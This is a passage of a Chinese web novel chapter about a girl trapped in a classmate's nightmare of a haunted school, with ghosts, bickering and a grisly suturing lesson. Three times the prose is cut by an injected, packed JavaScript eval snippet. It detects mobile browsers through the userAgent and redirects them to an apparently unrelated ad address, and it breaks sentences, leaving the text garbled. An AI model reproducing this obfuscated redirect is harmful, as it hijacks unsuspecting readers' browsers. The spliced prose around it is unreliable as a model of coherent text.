双眼的眼白被鲜血侵染,混合着暗色的眼眸变得一片通红,猩红的眼角如蜈蚣般撕裂了开来,残破的边缘挂着一滴半红的血珠。 血色的瞳孔像看到了猎物般狡黠地放大,恶毒又死寂地盯着潼燏。 “啊——” “啊!” 两道凄厉的尖叫声划破了夜空,迎来了等候已久的天明。 金黄的太阳不急不慢地从西边升了起来,明媚的阳光像救世主一般撒满了整座阴暗的寝室大楼。 “起床。”所有人像向日葵一样,感受到太阳光后自动苏醒,舒畅地伸了个懒腰从床上爬了起来,穿好鞋子后十分自觉地叠起了被子。 一切看起来是那么地美好。 “潼燏,你怎么了,怎么喊得这么响?”第一名顺着栏杆爬了下来,踩进鞋子后顺势坐到了她的床上,抓了抓黑色的短发一脸关切地看着她。 她的双眼黑白分明,棕色的瞳孔里倒映出了潼燏惊慌呆滞的面庞,她不解地伸出手在潼燏面前晃了晃,关心道:“怎么了?你没事吧?” “啊——”潼燏回过神,起身躲开她的手,尖叫着跑出了寝室。 室友们看着她落荒而逃的背影,不约而同地停下了手里的动作,整个寝室又再次安静了下来。 “怎么还没出来。” 宋洹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101303|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默站在女生寝室楼下搜寻着潼燏的身影,天一亮他就第一个离开了男寝,早早地等在楼下守候着她。 “人呢?”他徘徊了一阵,在人群中找了半天还是没看到她,难道她已经提前一步先回教室了? 还是说她还在生他的气,所以待在寝室里不愿意出来了? 不至于吧,他昨天说的话有那么过分吗? 宋洹默站在台阶下思索了一会,见刚出来的一拨人里还是没有她,正打算回教室再找时,一转身就看到潼燏一脸惊慌失措地从大楼里跑了出来,三步并作两步地跑下了台阶,像是后面有鬼在追她似的。 “啊——”她一边尖叫着一边加快了步伐,不料脚下一乱,一不小心踩空了台阶,整个人直直地朝着前方的水泥地倒去。 “小心!”宋洹默一个箭步上前抓住了她的手臂,稳稳地接住了她。 “宋洹默……”潼燏站稳了脚,抬头看到是他,嘴巴一扁,喊着他的名字一头扑进了他的怀里。 “你......” 宋洹默突然被她拦腰抱住,微微一怔,想说的话顿时卡壳,连带着抓着她手臂的双手也无措地僵在了半空中。 被恐惧折磨了一晚上的潼燏再也忍不住了,委屈的情绪瞬间爆发,她紧紧地抱着他哭诉道:“我不要再待在这里了,我要回家,我要出去。” 宋洹默被她死命地环抱住了腰,听着她在他怀里委屈地诉说着,一时间竟不知该做出什么反应。 这是他第一次遇到这样的阵仗,一个女生哭泣着抱着他,喊着他的名字说要离开。 他手足无措地抱也不是,推也不是,两只手机械般地上上下下了半天也不知道究竟该放哪里。 折腾了半天,他只好尴尬地将手揣进裤兜里,抬着脑袋别扭地安慰道:“你,你先放开我,我们找个地方说。” “我不要,这里太可怕了,我不要待在这里,我要出去,你赶紧放我出去,你别再睡了,求求你快点醒好不好。”潼燏哭嚎着,手上的力气又加重了一些。 “呃。”宋洹默被她勒得喘不上气,感觉他的腰都快被她勒断了,他挣扎着拉开她的双手试图解救自己,“好好好,我们离开这里,你先放手行吗,我都快被你勒死了。” “不要,我不要放手,这里真的好可怕。”潼燏扭动着身体,埋着脑袋一个劲地往他怀里钻,可怜巴巴道,“万一又有女鬼来找我怎么办,我现在手无缚鸡之力,只有死路一条啊。” 现在正值早课时间,路上来来往往的同学们纷纷朝他们投来了吃瓜的目光,一个个挤眉弄眼地对着他们指指点点道:“他们这又是闹哪出?” “肯定是在求复合,你看她哭的那样。” “我猜也是,昨天刚打完人今天就来求复合,这女的是不是精神分裂啊?” “就是,宋洹默肯定不会理她的,你看他那表情,脸红脖子粗的,一看就是气的。” “没错,真想上去帮帮他,可惜我还要上课。” “算了,别管了,今天有考试,学习要紧。” “......” 众人光明正大地八卦着,经过他们身旁时齐齐朝宋洹默抛来了同情的眼神,还顺带着白了潼燏一眼,表示强烈谴责她这样玩弄感情的人。 这造的什么孽啊,他一世英名就这么在梦里被毁了,宋洹默仰天长叹,抓着潼燏的手腕一用力拉开了她,清甜的空气瞬间涌入了他的胸腔,呼吸顿时顺畅多了。 他低头喘了口气,看着她无可奈何道:“先离开这里。” “好。”潼燏泪眼婆娑地点了点头,拽着他的衣角乖乖地跟着他离开了寝室楼下。 19. 校规(八) 两人穿过熙攘的人群,踏过鹅卵石铺成的林荫小路,在一片茂密的柳树间找了个僻静的亭子坐了下来。 宋洹默坐在潼燏身旁,看了眼她脸上未干的泪痕,揉着自己酸痛的腰肢问道:“昨晚发生什么事了?” 潼燏闻言,抬起手背可怜巴巴地擦了擦眼角残留的泪水,背靠在身后的栏杆上张牙舞爪地把昨晚经历的险境形象生动地描述了一遍。 说到可怕之处,她手上的汗毛像是应激了一般齐刷刷地竖了起来。 “事情经过大概就是这样,你不知道我昨晚过得有多艰难,我是硬生生从恶鬼手里逃了出来,不然你今天就见不到我了。”潼燏心有余悸地拍着胸脯安抚着自己,一副劫后余生的虚弱模样。 “拜托,这只是梦而已,没必要吓成这样吧?”宋洹默听完她一番绘声绘色的描述,内心毫无波澜甚至还有点想笑。 一个守护人类梦境的人居然还会被梦里的鬼吓到,这简直是太好笑了。 “切。”潼燏白了他一眼,反驳道,“我才要拜托你好吗,我们虽然是在梦里,但所有的感觉都是真实的,你是没听到那声音有多可怕,要是换了你肯定也得被吓得叫起来。” 宋洹默翘起了二郎腿,斜靠在一旁的柱子上不以为意道:“不好意思,不是所有人都像你一样胆小。” “怎么,怕鬼怎么了,犯法吗?”潼燏昂起脖子理直气壮道,“我一个人在黑漆漆的环境下被鬼吓到不是很正常吗,你少在这里说风凉话了,还不是被你害的,你到底什么时候能睡醒啊,你这睡得也太死了吧。” “这跟我有什么关系。”宋洹默撇了撇嘴,不屑道,“你好像忘了我是控制不了梦境内容的,这些都是你口中所谓的梦境系统操控的,与我无关。” “......” 潼燏顿时被他的话噎住,抚着胸口冷静下来想了想,梦的内容确实都是由梦境系统自动形成的,她编写的程序也只不过是把梦境内容按不同的题材分类了一下而已。 等等,在进入宋洹默的梦境之前,她随手在系统上点了个什么来着? 潼燏挠了挠自己的脸,恍然想起她进来之前在屏幕上点了个随机分类,这意味着宋洹默的梦境将会随机进入某个题材板块,所以这才导致他第一个梦是无厘头题材,而这一个却是妥妥的恐怖系列。 无语。 早知道这样就选个美梦题材了,再不济选个日常生活也比这鬼故事强啊! “好气啊,怎么偏偏就被分进噩梦系列了。”潼燏恨铁不成钢地拍了下自己的手,懊恼道,“要是分进美梦里该多好啊,这样我就不用被鬼缠了,这会儿说不定还能躺在一个八块腹肌的一米八八大帅哥怀里。” 一旁的宋洹默:“......” 这女人真是好色。 他鄙夷地扭过头,想起潼燏刚才靠在他怀里,像抓住救命稻草般牢牢地搂着他的腰不放手,他挑了挑眉,故意扯起自己胸前的衣服,指着上面一小滩湿乎乎的痕迹吐槽道:“你还好意思说,我衣服都被你弄脏了。” 潼燏看到被自己哭湿的衣服,脸一红,挣扎道:“还不是因为事出有因啊,你以为我愿意抱你。” 宋洹默一听她这话立马就不乐意了,嗤笑了一声回道:“你能抱到我,是你的荣幸。” “呕,我才不要这荣幸。”潼燏故作干呕了一声,为了挽回自己的面子,拍了拍旁边的柱子嘲讽道,“抱你就跟抱它似的,没什么区别。” 什么? 居然拿他跟柱子比! 宋洹默气得放下了二郎腿,眼神一暗,环抱着双臂反击道:“你是不是眼瞎,人和柱子都分不清吗?” “我裸眼视力一点零,眼神好得很,怎么,说你不如它,着急了?” “我有什么好急的,被鬼吓哭的又不是我,刚才要不是我出现在门口,估计你早就被吓得尿裤子了。” “我才没有!你少胡说八道!” “也不知道是谁被吓得哇哇乱叫,下个台阶还一脚踩空。” “那又怎样!这也改变不了你不如一根柱子的事实!” 两人跟小学生吵架似的,抓着对方的痛处互相掐了起来,一副不噎死对方誓不罢休的模样。 潼燏争论了半天,见有些说不过他,捂着耳朵摇头晃脑地一顿输出:“你不如柱子,你不如柱子,你不如......” 话还没说完,她便被人拉住手臂一把拽了起来,脚下一晃,跌进了一个温暖的怀抱中。 还没等她反应过来,头顶响起了一道低沉的质问声。 “你确定?” 此话一出,她顿时哑言。 ...... 宋洹默一本正经地搂着她,有了先前的经验,这次他的双手终于找到了归处,两只宽大的手掌自然在环在了她薄弱的后背上。 见她久久不说话,他以为自己震慑住了她,抱着她傲娇地从鼻腔里发出了一声命令:“嗯?说话。” 怀里的潼燏一声不吭地侧着脸贴在离他心脏最近的地方,坚实的胸膛下传来了独属于他的铿锵有力的心跳声。 “咚。” “咚。” “咚......” 似鼓点般的震荡声一次次敲击着她的心脏与之共鸣,三十七度的体温透过单薄的校服覆盖在了她的脸上,连着她的脸庞也跟着发烫了起来。 “怎么不说话了,没话说了是吧。”宋洹默见她一直不出声,不由得得意洋洋了起来。 实践出真理,看来她已经被他彻底打败,无话可说了。 滴答滴答...... 时间一分一秒过去,潼燏靠在他怀里始终都没有说话,宋洹默逐渐察觉到事情有些不对,他终于后知后觉地意识到他的行为好像有点不妥。 他怎么会干出这种蠢事! 一想到这,环在潼燏后背上的双手像被针扎了似的唰的一下弹了起来。 宋洹默一紧张,心跳开始加速,他立刻松开她往后退了一步,偏过头支支吾吾道:“你,你别误会,我,我只是......” 话说到一半他又卡了壳,总不能说是为了证明自己比柱子强,所以才抱她吧? 这也太丢人了。 潼燏察觉到他的尴尬,撩起脸侧的头发别到了耳后,故作不耐烦地解围道:“知道了知道了,你不就是想让我住嘴吗,正好我也懒得跟你多说。” 宋洹默见她面色坦然,看起来压根没把刚才的事放在心上。 见状,他偷偷松了口气坐了回去,不自在地看向远处的池塘。 怎么回事?他做事向来冷静,今天怎么会做出如此幼稚又愚蠢的举动。 一定是在梦里的缘故,没错,一定是的,就像他刚开始认不出潼燏一样,是这个梦境改变了他的行为方式,扰乱了他的思维逻辑,才导致他跟一根柱子较上了劲。 疯了疯了,真是疯了。 两人一个朝前看,一个往后看,坐在亭子里一时间没了话语,各自安静了下来。 宋洹默被这个拥抱搅得如坐针毡,他转了转眼珠撇了潼燏一眼,见她侧身坐着,双手枕在栏杆上呆呆地望着前方,似乎有什么心事。 难道她还在为昨天的事生气? 他犹豫了一会,想好的话不知怎么竟变得有些难以说出口,这不是他一贯的作风。 绝不能再被梦境影响了! 宋洹默清了清嗓子,看也不看对方,低着脑袋一鼓作气道:“潼燏,我昨天说的话确实有些过分,我跟你道歉,对......对不起。” 他艰难地说完了话,耳根一红,别扭地盯着前方的大树,像是要把它盯出一个洞来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这......我不太确定。”潼燏犹豫了,她当时太害怕脑子一片空白,现在回忆起来,除了那双可怕的双眼外,好像连对方的长相都没看清楚。 所以她的分析也不一定准确,毕竟在鬼片中想找到谁是真正的鬼,恐怕没那么容易。 宋洹默见她又有些害怕了起来,安抚道:“别怕,都是假的,有我在,不会让你受到伤害。” 我信你个鬼。 潼燏想起在上个梦境中,他的控梦之力时有时无极其不稳定,枪都抵脑袋上了还什么都变不出来。 但她也不想打击他,只好委婉地问道:“你的控梦之力恢复了吗?” “当然。”宋洹默嘴角一扬,神秘兮兮地伸出了修长的右手,转瞬间,空无一物的手掌里凭空出现了一朵娇嫩欲滴的红色玫瑰。 ? 宋洹默定睛一看,不由得抽了抽嘴角。 怎么是花? 他刚想的明明是一杯花茶,想让潼燏喝一点镇定一下心神。 可这…… 控梦之力怎么不按套路出牌啊! 潼燏看着他手中明艳艳的红玫瑰,惊讶地瞪大了眼睛,盯着花结结巴巴道:“这,你,你变,变花干什么?” “我……这个……”宋洹默硬着头皮,僵硬地举起花递给了她,一本正经地胡说八道,“你拿去泡茶喝,有助于缓解你焦虑的情绪。” “呃......行,我待会就把它泡了。”潼燏虽然不理解但也能接受,她受宠若惊地接过玫瑰,抚摸着娇艳的花瓣附和道,“我最喜欢喝玫瑰花茶了,刚好跑了一天有点口渴,谢谢你的花。” “不客气。” 宋洹默硬是接下了话茬,看着潼燏低着脑袋笑呵呵地拿着手里的花,红色的玫瑰在她的眼中尽情绽放。 他敛了敛眸,忽然觉得是花好像也挺好的。 20. 校规(九) “你们两个在这里干什么?” 不合时宜的声响打破了两人之间的平和,宋洹默和潼燏转过头齐齐朝着声音的方向看去。 一个穿着黑色夹克梳着大背头的中年男人拿着一根黄色的戒尺大摇大摆地走进了亭子里。 他抬起手扶了扶鼻梁上的黑色镜框,耷拉的双眼精准地捕捉到了潼燏手上拿着的红色玫瑰。 只一眼,他便化身为金牌编剧,颠三倒四的脑海里自动想象出了一场两个学生翘课后手牵手跑到这里谈情说爱的戏码。 简直是不堪入目! 他越想越恼火,指着两人火冒三丈道:“你们两个竟敢在这里私会,真是不要脸!说,你们哪个班的!” 啥?不要脸? 潼燏无端被骂,战斗力瞬间拉满,瞪着他回骂道:“喂,你谁啊你,你是吃屎了吗,嘴这么臭。” “你,你竟敢骂我。” 男人见她居然敢回嘴,气得眼歪嘴斜,一把夺走潼燏手中的玫瑰,像是抓住了真相般提高了音量:“证据都有了还不承认你们是在私会,说,你哪个班的,我要好好问问你们班主任,他平时是怎么管教学生的!一点规矩都没有!简直就是我们学校的败类!” 这人谁啊,说话这么牛掰,潼燏像看疯子似的看着他,不屑地瞄了一眼男人夹克上别着的名牌。 我去?政教主任! 那可真惹不起。 潼燏立刻转变态度,敷衍道:“不好意思啊老师,我们现在就回去上课。” “上课?你们这两个……” “拿朵花就是私会?”宋洹默打断了男人的话,上前挡在了潼燏的面前。 男人比他整整矮了一个头,他头也不低地垂眸看着对方嘲讽道:“那你现在拿着花站在这里,是想跟谁私会。” “你,你说什么?你竟敢这么跟我说话。”政教主任被他气得浑身发抖,一时间想不出话语反驳,索性抓着花狠狠地往地上一砸,红色的玫瑰花瓣瞬间似雨滴般在地上散开,星星点点地落了一地。 宋洹默看着地上破碎的玫瑰花瓣,清明的眼眸逐渐被戾气覆盖,他看到男人的黑色皮鞋踩在了花瓣上,眉头一皱,捏紧了拳头命令道:“你给我捡起来。” 潼燏见他面色阴沉,意识到他是真的生气了,连忙拉住他的手臂安抚道:“算了算了,我们不跟他计较,先离开这里吧。” “我不走,要走你自己走。”宋洹默甩开她的手,大步上前盯着男人的眼睛一字一句道,“你给我捡起来。” 政教主任被他的气势吓到,畏缩地往后退了一步,声量逐渐小了下去:“我凭什么捡,你们两个在这里私会,我要上报给校长,把你们都开除。” “呵,你有本事先走出这里。”宋洹默眸色一暗,伸出手开始聚精凝神。 他不是喜欢砸花吗,那他就礼尚往来,给他这满脸油光的脸上送上一盆满满都是尖刺的仙人掌。 “哎呀,这学校里的老师没一个正常的,一个个都跟吃了炸药似的,你现在控梦之力还不稳定,我们别搭理他,走就是了。”潼燏知道他的倔劲又上来了,直接伸出手牵住了他的手掌,强行拉着他走出了亭子。 “你......”酝酿到一半的思绪被打断,宋洹默震惊地看着自己的手被潼燏牵在了手里,浑身的怒气瞬间烟消云散,像个失去行动力的人机般任由她拉着走。 “你们给我站住!” 政教主任见他们要跑,大喊着追了上来。 “烦不烦啊你。”潼燏见他纠缠不休,立马拉着宋洹默朝前跑去,两人一路疾跑冲进了教学楼,身后的男人连他们的影子都没看着。 一口气冲上三楼,潼燏气喘吁吁地停在走廊上,撑着膝盖大喘着气。 自从入梦以来运动量实在是太大了,从上一个梦开始就跑个没完,她都快被锻炼出百米赛跑的速度了。 宋洹默倒是一点事都没有,站在楼道里连气都不带喘的,整个人神采奕奕,不知道的还以为他刚睡醒起床呢。 “一看你平时就不锻炼,跑这么几步就累了。” 宋洹默一边吐槽着一边伸出手想要搀扶她,刚伸到一半,潼燏却一个起身站直了身体,喘着粗气澄清道:“这么几步?拜托,我们是从后山一路跑过来的,少说也得有一千米了,再说了,我这不是一直在锻炼呢,在你的梦里,我就没停下来休息过。” 宋洹默见她累得不行还有力气斗嘴,嘴角不由得浮现出了一丝笑意,收回手抬了抬下巴,淡淡道:“那你先回教室休息一下,其他的事待会再说。” “行,我确实需要好好休息一下。”潼燏深深地吐了口气,抬头看了眼教室上的门牌,“你也回去上课吧,反正现在也找不到什么头绪。” “嗯,我先进去了。”宋洹默点了点头,走进了隔壁教室。 “叮铃铃。” 上课铃声正好响起,他施施然地走到第三排的位置上坐下,右手的余温还未消散,他握了握拳,眼底闪过了一丝微不可察的笑意。 门外的潼燏整理了一下身上皱皱巴巴的校服,跟个没事人似的走进了自己的教室里,没成想屁股还没贴到板凳,一道黄色的戒尺就狠狠地拍在了她的桌上。 她抬头一看,秃头班主任在他为数不多的头发里拔下一根摇摇欲坠的发丝,放在手里一吹,幽幽道:“你,连名次都没有的人,你今天第一个上台缝合,要是缝得好的话,我给你一百分,要是没缝好,哼哼,倒扣你两百。” “缝合?我?”潼燏眨巴着无辜的双眼,一脸单纯地指着自己婉拒道,“老师,我连名次都没有,学习成绩这么差,我还是不上去丢人了,你直接扣我两百分吧。” “成绩差还不上去多练练,就因为你,我们班的平均成绩直接拉低了一个档次,害得我今年都没评上年度优秀教师,你赶紧给我上去,这次再缝不好,别说扣分了,你直接给我滚出去,以后上课都在外面给我站着听。”秃头班主任被她懒散的态度气到爆炸,浮肿的双眼顿时又肿了一圈。 缝合?不会还是昨天那具人体吧…… 潼燏一想到那血淋淋的人体,不禁打了个冷颤,苦着一张脸继续拒绝道:“老师,我不行,我真的一点都不会,要不我还是出去听课吧。” 说完她便主动站起身,十分自觉地朝着门口走去。 “啪!” 戒尺再次重重地拍在了她的桌上,秃头班主任举起尺子,眯着眼放在了她的脑袋上,皮笑肉不笑地威胁道:“你去不去?” “去去去,我现在就去。” 潼燏勉为其难地停住了脚步,心惊胆战地朝着讲台上走去。 昨天她已经见识过解剖课上的血腥场景,今天不知道又有什么骇人的场面会出现。 求求了,拜托上点正常的课吧。 她一边祈祷着一边走到了讲台上,只见一个赤裸着上半身看起来四十几岁的男人规规矩矩地坐在讲台的高椅上,下半身裹着一块白色的布单。 他双手搭在膝盖上,孤零零地坐在椅子上转动着灰白色的眼珠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177389|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乍一看,跟常人没什么两样。 但可怕的是,他眼睛以上的脑袋部分以鼻子为界分成了两半,一半正常,另一半却被劈开了脑壳,白色的头骨连带着头皮一起耷拉了下来,粉红色的脑花还在不断地往下流着透明的液体。 男人察觉到来人,灰白色的瞳孔一转,看到了走来的潼燏,像抓住了救命稻草般哀嚎着抬起惨白的双手向她求救道:“啊,好痛,我的头好痛啊,小姑娘,你能帮帮我吗?” “啊!”潼燏虽然已经做好了强大的心理准备,但还是被眼前这惊悚的一幕吓到。 一个看似活生生的人脑袋半开地向她求救,但凡换个心理素质差的都能当场吓晕过去。 我滴个老天爷啊,这剧情就不能对她友好一点吗?非得搞这么恐怖干什么。 她绝望地闭了闭眼,不敢看他的脑袋,抓着自己的衣摆,弱弱地回复道:“对不起啊大哥,我很想帮你,但我不会,我没学过医。” “没事。”男人眨着眼对她Wink了一下,一改刚才的痛楚嬉笑道,“骗你的啦,我都死了,怎么可能还感觉得到痛,你大胆来,只要帮我把头皮缝上就行。” 倒反天罡,男人竟然还安慰起了她。 潼燏听他说话很是热情,鼓起勇气看了眼他头上骇人的伤口,总觉得他是在强颜欢笑。 她忽然有些愧疚,要是她真的是个医生就好了。 那样的话,她就可以帮他治疗伤口了。 “小姑娘,没事的,你大胆缝。”男人笑呵呵地宽慰着她,缝个脑袋对他来说简直是家常便饭,他这脑瓜子开了缝,缝了开,技术再烂也对他造不成什么伤害。 潼燏听了他的话,不再害怕,拿起讲台上的医用手套整整齐齐地戴好,低头在铁盘里找了一会,举起一根缝合针问道:“大哥,是用这个缝吗?” “没错,你再把那根白色的线穿上,就跟缝衣服一样把我的头皮缝上就行。”男人十分老练地指了指盘子里的线,嘱咐道,“就拿这根最粗的,牢固又不容易散。” “呃......好。” 潼燏在他的指挥下拿起缝合线穿进了针里,这动作让她觉得自己好像真的只是在穿针缝衣服,但一转身看到男人半露的脑花,刚稳定下来的手又止不住抖了起来。 男人见她如此紧张,灵机一动,转了转眼珠子问道:“你知道恐怖片里诡异的房子里为什么总会有钢琴吗?” 潼燏被他这无厘头的一问懵住了,心不在焉道:“可能......鬼爱弹钢琴?” “哈哈哈不对,因为......钢琴住了几个妖,哈哈哈哈哈。”男人说完答案,止不住地哈哈大笑了起来,这是他库存里最好笑的一个,还没逗乐别人,自己就已经笑得不行。 “哈哈,挺好笑的。”潼燏配合着尬笑了两声,这谐音梗实在是太冷了,冷得她手抖得更厉害了。 “哈哈哈哈哈,太好笑了。”男人笑得根本停不下来,一边大笑着一边捶腿,苍白的身体一颤一颤,头上的粉色脑花也跟着抖动了起来,流淌下来的白色液体跟随着他的动作,洋洋洒洒地溅在了腿上的白色布单上。 潼燏看得心也跟着一颤一颤,生怕这半开的脑花被他笑得掉下来,连忙伸出手一边接着一边阻止道:“哥,你别笑了,我害怕。” “哈哈哈好,我不笑了,你动手吧。”男人勉强止住了笑容,紧抿着嘴,抬手擦了擦眼角浑浊的泪水。 “好,我开始了。” 潼燏深吸了一口气,决定搏一搏。